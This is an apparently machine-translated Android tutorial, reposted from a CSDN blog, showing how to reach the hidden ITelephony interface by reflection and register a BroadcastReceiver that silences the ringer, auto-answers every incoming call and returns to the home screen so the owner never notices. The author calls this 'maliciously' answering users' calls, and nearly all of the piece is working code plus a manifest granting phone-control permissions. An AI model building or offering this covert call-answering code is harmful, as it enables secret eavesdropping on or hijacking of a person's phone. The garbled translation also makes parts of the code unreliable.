Android phone reflection call mechanism for silent calls

Source: Internet
Author: User
Tags home screen dialpad

First, create a project

Inserttel

 

Create a com. Android. Internal. telephony package

Copy itelephony. aidl from the system source code.

As follows:

Itelephony. aidl

/* <Br/> * copyright (c) 2007 the android open source project <br/> * licensed under the Apache license, version 2.0 (the "License"); <br/> * you may not use this file except T in compliance with the license. <br/> * You may obtain a copy of the license at <br/> * http://www.apache.org/licenses/LICENSE-2.0 <br/> * unless required by applicable law or agreed to in writing, software <br/> * distributed under the license is distributed on an "as is" basis, <br/> * Without warranties or conditions of any kind, either express or implied. <br/> * See the license for the specific language governing permissions and <br/> * limitations under the license. <br/> */<br/> package COM. android. internal. telephony; <br/> Import android. OS. bundle; <br/> Import Java. util. list; <br/>/** <br/> * interface used to interact with the phone. mostly this is used by the <br/> * telephonymanager class. A few places are still using this directly. <br/> * Please clean them up if possible and use telephonymanager insteadl. <br/> * {@ hide} <br/> */<br/> interface itelephony {<br/>/** <br/> * dial A number. this doesn' t place the call. it displays <br/> * The Dialer screen. <br/> * @ Param number the number to be dialed. if null, this <br/> * wocould display the dialer screen with no number pre-filled. <br/> */<br/> void dial (string number); <br/>/** <br/> * place a call to the specified number. <br/> * @ Param number the number to be called. <br/> */<br/> void call (string number); <br/>/** <br/> * if there is currently a call in progress, show the call screen. <br/> * The DTMF dialpad may or may not be visible initially, depending on <br/> * Whether it was up when the user last exited the incallscreen. <br/> * @ return true if the call screen was shown. <br/> */<br/> Boolean showcallscreen (); <br/>/** <br/> * variation of showcallscreen () that also specifies whether the <br/> * DTMF dialpad shoshould be initially visible when the incallscreen <br/> * comes up. <br/> * @ Param showdialpad if true, make the dialpad visible initially, <br/> * otherwise hide the dialpad initially. <br/> * @ return true if the call screen was shown. <br/> * @ see showcallscreen <br/> */<br/> Boolean showcallscreenwithdialpad (Boolean showdialpad ); <br/>/** <br/> * End call or go to the home screen <br/> * @ return whether it hung up <br/> */<br/> Boolean endcall (); <br/>/** <br/> * answer the currently-ringing call. <br/> * If there's already a current active call, that call will be <br/> * automatically put on hold. if both lines are currently in use, the <br/> * current active call will be ended. <br/> * todo: provide a flag to let the caller specify what policy to use <br/> * if both lines are in use. (the current behavior is hardwired to <br/> * "answer incoming, end ongoing", which is how the call button <br/> * Is specced to behave .) <br/> * todo: This shoshould be a oneway call (especially since it's called <br/> * directly from the key queue thread ). <br/> */<br/> void answerringingcall (); <br/>/** <br/> * silence the ringer if an incoming call is currently ringing. <br/> * (if vibrating, stop the vibrator also .) <br/> * it's safe to call this if the ringer has already been silenced, or <br/> * even if there's no incoming call. (if so, this method will do nothing .) <br/> * todo: This shoshould be a oneway call too (see above ). <br/> * (actually * All * The methods here that return void can <br/> * probably be oneway .) <br/> */<br/> void silenceringer (); <br/>/** <br/> * check if we are in either an active or holding call <br/> * @ return true if the phone state is offhook. <br/> */<br/> Boolean isoffhook (); <br/>/** <br/> * Check if an incoming phone call is ringing or call waiting. <br/> * @ return true if the phone state is ringing. <br/> */<br/> Boolean isringing (); <br/>/** <br/> * check if the phone is idle. <br/> * @ return true if the phone state is idle. <br/> */<br/> Boolean isidle (); <br/>/** <br/> * check to see if the radio is on or not. <br/> * @ return returns true if the radio is on. <br/> */<br/> Boolean isradioon (); <br/>/** <br/> * check if the sim pin lock is enabled. <br/> * @ return true if the sim pin lock is enabled. <br/> */<br/> Boolean issimpinenabled (); <br/>/** <br/> * cancels the missed callnotification. <br/> */<br/> void cancelmissedcallsnotification (); <br/>/** <br/> * supply a pin to unlock the sim. blocks until a result is determined. <br/> * @ Param pin the pin to check. <br/> * @ return whether the operation was a success. <br/> */<br/> Boolean supplypin (string pin ); <br/>/** <br/> * handles pin MMI commands (PIN/pin2/Puk/puk2 ), which are initiated <br/> * Without send (So <code> dial </code> is not appropriate ). <br/> * @ Param dialstring the MMI command to be executed. <br/> * @ return true if MMI command is executed. <br/> */<br/> Boolean handlepinmmi (string dialstring); <br/>/** <br/> * Toggles the radio on or off. <br/> */<br/> void toggleradioonoff (); <br/>/** <br/> * set the radio to ON or OFF <br/> */<br/> Boolean setradio (Boolean turnon ); <br/>/** <br/> * request to update location information in service state <br/> */<br/> void updateservicelocation (); <br/>/** <br/> * enable location update notifications. <br/> */<br/> void enablelocationupdates (); <br/>/** <br/> * disable location update notifications. <br/> */<br/> void disablelocationupdates (); <br/>/** <br/> * enable a specific APN type. <br/> */<br/> int enableapntype (string type); <br/>/** <br/> * disable a specific APN type. <br/> */<br/> int disableapntype (string type); <br/>/** <br/> * allow mobile data connections. <br/> */<br/> Boolean enabledataconnectivity (); <br/>/** <br/> * disallow mobile data connections. <br/> */<br/> Boolean disabledataconnectivity (); <br/>/** <br/> * report whether data connectivity is possible. <br/> */<br/> Boolean isdataconnectivitypossible (); <br/> bundle getcelllocation (); <br/>/** <br/> * returns the neighboring cell information of the device. <br/> */</P> <p> int getcallstate (); <br/> int getdataactivity (); <br/> int getdatastate (); <br/>/** <br/> * returns the current active phone type as integer. <br/> * returns telephonymanager. phone_type_cdma if rilconstants. CDMA _phone <br/> * And telephonymanager. phone_type_gsm if rilconstants. gsm_phone <br/> */<br/> int getactivephonetype (); <br/>/** <br/> * returns the cdma eri icon index to display <br/> */<br/> int getcdma eriiconindex (); <br/>/** <br/> * returns the cdma eri icon mode, <br/> * 0-on <br/> * 1-flashing <br/> */<br/> int getcdma eriiconmode (); <br/>/** <br/> * returns the cdma eri text, <br/> */<br/> string getcdma eritext (); <br/>/** <br/> * returns true if CDMA provisioning needs to run. <br/> */<br/> Boolean getcdmaneedsprovisioning (); <br/>/** <br/> * returns the unread count of voicemails <br/> */<br/> int getvoicemessagecount (); <br/>/** <br/> * returns the network type <br/> */<br/> int getnetworktype (); </P> <p>/** <br/> * return true if an ICC card is present <br/> */<br/> Boolean hasicccard (); <br/>}< br/> 

Then create a package

ZY. Phone

 

The following is a reflection call.

Phoneutils. Java

Package ZY. phone; </P> <p> Import Java. lang. reflect. field; <br/> Import Java. lang. reflect. method; <br/> Import android. telephony. telephonymanager; <br/> Import android. util. log; </P> <p> public class phoneutils {<br/>/** <br/> * instantiate itelephony from telephonymanager, and return <br/> */<br/> static public COM. android. internal. telephony. itelephony getitelephony (telephonymanager telmgr) throws exception {<br/> method getitelephonymethod = telmgr. getclass (). getdeclaredmethod ("getitelephony"); <br/> getitelephonymethod. setaccessible (true); // The Private function can also be used <br/> return (COM. android. internal. telephony. itelephony) getitelephonymethod. invoke (telmgr); <br/>}</P> <p> static public void printallinform (class clsshow) {<br/> try {<br/> // obtain all methods <br/> method [] hidemethod = clsshow. getdeclaredmethods (); <br/> int I = 0; <br/> for (; I <pidemethod. length; I ++) {<br/> log. E ("method name", hidemethod [I]. getname (); <br/>}< br/> // obtain all constants <br/> Field [] allfields = clsshow. getfields (); <br/> for (I = 0; I <allfields. length; I ++) {<br/> log. E ("field name", allfields [I]. getname (); <br/>}< br/>} catch (securityexception e) {<br/> // throw new runtimeexception (E. getmessage (); <br/> E. printstacktrace (); <br/>} catch (illegalargumentexception e) {<br/> // throw new runtimeexception (E. getmessage (); <br/> E. printstacktrace (); <br/>} catch (exception e) {<br/> // todo auto-generated Catch Block <br/> E. printstacktrace (); <br/>}< br/>} 

 

Then listen for the phone number with a broadcastreceiver

 

Maliciously answer users' calls

TP. Java

Package ZY. phone; <br/> Import Java. util. timer; <br/> Import Java. util. timertask; <br/> Import android. app. service; <br/> Import android. content. broadcastreceiver; <br/> Import android. content. context; <br/> Import android. content. intent; <br/> Import android. OS. remoteException; <br/> Import android. telephony. telephonymanager; <br/> Import android. util. log; <br/> public class TP extends broadcastreceiver {<br/> context mcontext; <br/> timertask task = new timertask () {<br/> Public void run () {<br/> intent I = new intent (intent. action_main); <br/> I. addcategory (intent. category_home); <br/> I. addflags (intent. flag_activity_new_task); <br/> mcontext. startactivity (I); <br/> log. I ("BBB", "BBB"); <br/>}< br/>}; <br/> @ override <br/> Public void onreceive (context, intent intent) {<br/> // todo auto-generated method stub <br/> mcontext = context; <br/> telephonymanager TM = (telephonymanager) Context <br/>. getsystemservice (service. telephony_service); <br/> switch (TM. getcallstate () {<br/> case telephonymanager. call_state_ringing: // call <br/> try {<br/> // string phonenumber = intent. getstringextra ("incoming_number"); </P> <p> phoneutils. getitelephony (TM ). silenceringer (); // jingling <br/> phoneutils. getitelephony (TM ). answerringingcall (); // Auto Answer <br/> timer = new timer (); <br/> timer. schedule (task, 300); </P> <p >}catch (RemoteException e) {<br/> // todo auto-generated Catch Block <br/> E. printstacktrace (); <br/>} catch (exception e) {<br/> // todo auto-generated Catch Block <br/> E. printstacktrace (); <br/>}// hang up <br/> break; // ring the bell <br/> case telephonymanager. call_state_offhook: // call for power disconnection <br/> break; // disconnect <br/> case telephonymanager. call_state_idle: // call and end up <br/> break; // host <br/>}< br/> <br/> 

 

In this way, all the calls are answered.

 

Then the main package is a test activity with nothing to do.

Package ZY. Test

Test. Java

Package ZY. test; <br/> Import android. app. activity; <br/> Import android. OS. bundle; <br/> public class test extends activity {<br/>/** called when the activity is first created. */<br/> @ override <br/> Public void oncreate (bundle savedinstancestate) {<br/> super. oncreate (savedinstancestate); <br/> setcontentview (R. layout. main); <br/>}< br/>} 

 

 

Remember to add broadcastreceiver and permission statement to androidmanifest. xml.

<? XML version = "1.0" encoding = "UTF-8"?> <Br/> <manifest xmlns: Android = "http://schemas.android.com/apk/res/android" <br/> package = "ZY. test "<br/> Android: versioncode =" 1 "<br/> Android: versionname =" 1.0 "> <br/> <application Android: icon = "@ drawable/icon" Android: Label = "@ string/app_name"> <br/> <activity Android: Name = ". test "<br/> Android: Label =" @ string/app_name "> <br/> <intent-filter> <br/> <action Android: Name =" android. intent. action. main "/> <br/> <category Android: Name =" android. intent. category. launcher "/> <br/> </intent-filter> <br/> </activity> <br/> <Cycler Android: Name =" ZY. phone. TP "Android: Priority =" 10000 "Android: Permission =" android. permission. read_phone_state "> <br/> <intent-filter> <br/> <action Android: Name =" android. intent. action. phone_state "/> <br/> </intent-filter> <br/> </receiver> </P> <p> </Application> <br/> <uses- SDK Android: minsdkversion = "3"/> </P> <p> <uses-Permission Android: Name = "android. permission. internet "/> <br/> <uses-Permission Android: Name =" android. permission. modify_phone_state "/> </P> <p> </manifest> 

 

OK

 

Try now all calls will be answered, No Response

 

Disclaimer: This article is used for technical exchange and learning. If you use this article code to engage in other illegal activities, you will be responsible for the consequences.

 

 

This article is copyrighted by csdn blogger Zeng Yang.

Http://blog.csdn.net/Zengyangtech/archive/2011/02/21/6198355.aspx

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.